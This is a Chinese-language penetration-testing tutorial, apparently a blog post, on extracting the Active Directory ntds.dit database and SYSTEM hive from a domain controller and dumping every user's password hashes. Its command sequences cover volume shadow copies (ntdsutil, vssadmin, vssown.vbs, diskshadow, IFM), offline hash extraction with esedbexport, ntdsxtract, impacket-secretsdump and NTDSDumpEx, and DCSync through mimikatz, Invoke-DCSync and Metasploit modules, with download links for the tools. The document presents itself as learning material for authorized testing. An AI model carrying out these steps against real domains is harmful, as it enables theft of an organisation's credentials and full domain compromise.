内网渗透--提取ntds.dit

ntds.dit

ntdi.dit文件是在域控制器,存储用户名、散列值、组等,所有数据的二进制文件。通常情况下,即使是管理员权限,也无法读取该文件,默认被windows系统锁定。
C:\Windows|NTDS\ntds.dit
内网渗透--提取ntds.dit_第1张图片
提取的办法—VSS(卷影拷贝服务)。

VSS本质是快照技术的一种,主要用于备份和恢复(锁定的文件也可以)。

提取ntds.dit

ntdsutil.exe

该工具默认安装域控制器上(Server 2003、2008、2012)

首先使用该命令创建一个快照,包含Windows中所有的文件:

ntdsutil snapshot "activate instance ntds" create quit quit

内网渗透--提取ntds.dit_第2张图片

加载该快照:

ntdsuitl snapshot "mount {GUID}" quit quit

内网渗透--提取ntds.dit_第3张图片
在使用copy命令,将其拷贝下来:
在这里插入图片描述
内网渗透--提取ntds.dit_第4张图片
最后删除快照:

ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

内网渗透--提取ntds.dit_第5张图片
再次查看:
内网渗透--提取ntds.dit_第6张图片

vssadmin(Server 2008、Win7)

步骤一样,创建快照,拷贝文件,删除快照。

创建:

vssadmin create shadow /for=c:

内网渗透--提取ntds.dit_第7张图片
拷贝文件:
在这里插入图片描述
删除快照:

vssadmin delete shadows /for=c: /quiet

内网渗透--提取ntds.dit_第8张图片

vssown.vbs

脚本下载链接:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

自己保存为vbs文件即可。

启动卷影拷贝服务

cscript vssown.vbs /start

内网渗透--提取ntds.dit_第9张图片
创建c盘的卷影拷贝

cscript vssown.vbs /create c

内网渗透--提取ntds.dit_第10张图片
列出卷影拷贝:

cscript vssown.vbs /list

内网渗透--提取ntds.dit_第11张图片
copy:
在这里插入图片描述
删除卷影拷贝:

cscript vssown.vbs /delete {
     ID}

内网渗透--提取ntds.dit_第12张图片

ntdsutil的IFM创建卷影拷贝

以管理员权限打开cmd。

执行:

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

内网渗透--提取ntds.dit_第13张图片
ntds.dit在c:\test\Active Directory\ 文件夹下:

内网渗透--提取ntds.dit_第14张图片
将ntds.dit另存为,然后删除test文件夹。

diskshadow导出ntds.dit(Server 2008、2012、2016)

步骤如下:

将如下命令写入一个txt文件中。

set context persistent nowriters //设置娟英拷贝

add volume c: alias someAlias	//添加卷

create	//创建快照

expose %someAlias% k:	//分配虚拟磁盘

exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit	//复制ntds.dit

delete shadows all	//删除快照

list shadows all	//列出卷影拷贝

reset	//重置

exit	//退出

使用diskshadow执行txt文件。

diskshadow /s 文件

在导出ntds.dit文件时,要切换到C:\windows\system32路径下。
内网渗透--提取ntds.dit_第15张图片
导出ntds.dit后,将system.hive进行转储,因为该文件中存放着ntds.dit的密钥,用来查看ntds.dit的信息。

reg save hklm\system c:\windows\temp\system.hive

导出ntds.dit中的hash值

esedbexport

使用环境:kali linux

下载地址:https://github.com/libyal/libesedb/archive/refs/tags/20200418.tar.gz

安装相关库:

apt-get install autoconf automake autopoint libtool pkg-config

执行:

./configure
make
make install
ldconfig

进入存放ntds.dit文件的目录中:

导出ntds.dit
内网渗透--提取ntds.dit_第16张图片
进入导出的文件夹:
内网渗透--提取ntds.dit_第17张图片
导出hash:

工具下载:https://github.com/csababarta/ntdsxtract.git

将导出的ntds.dit目录和SYSTEM文件和工具放同一目录下,然后执行:

dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt

使用impacket工具包

SYSTEM文件和ntds.dit文件放入工具目录中,执行:

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

内网渗透--提取ntds.dit_第18张图片

Windows下导出hash

工具下载:https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

ntds.dit、SYSTEM和工具放入同一目录,执行:
内网渗透--提取ntds.dit_第19张图片

dcsync

1.mimikatz下的dcsync

使用管理员权限打开mimikatz。

内网渗透--提取ntds.dit_第20张图片
2.Invoke-DCSync.ps1

下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

命令:

Invoke-DCSync -PWDumpFormat

使用msf获取hash

使用psexec_ntdsgrab模块。

设置选项:
内网渗透--提取ntds.dit_第21张图片
该模块会将目标主机的ntds.dit和SYSTEM存放到/root/.msf4/loot/目录下,再配合其他工具即可。

基于会话获取hash:

首先,想尽一切办法获得shell,使用domain_hashdump模块:

use windows/gather/credentials/domain_hashdump

选择session,运行。

这里要注意使用的shell模块和目标主机操作系统位数是否一致,不一致会出错(然后我这还是出错了。。。)

但是道理明白就好。

总结

目的貌似只有一个,获取hash,获取hash的方式有很多,熟练掌握吧。(有的还是被杀了)

你可能感兴趣的:(内网渗透,渗透测试学习,内网渗透,渗透测试)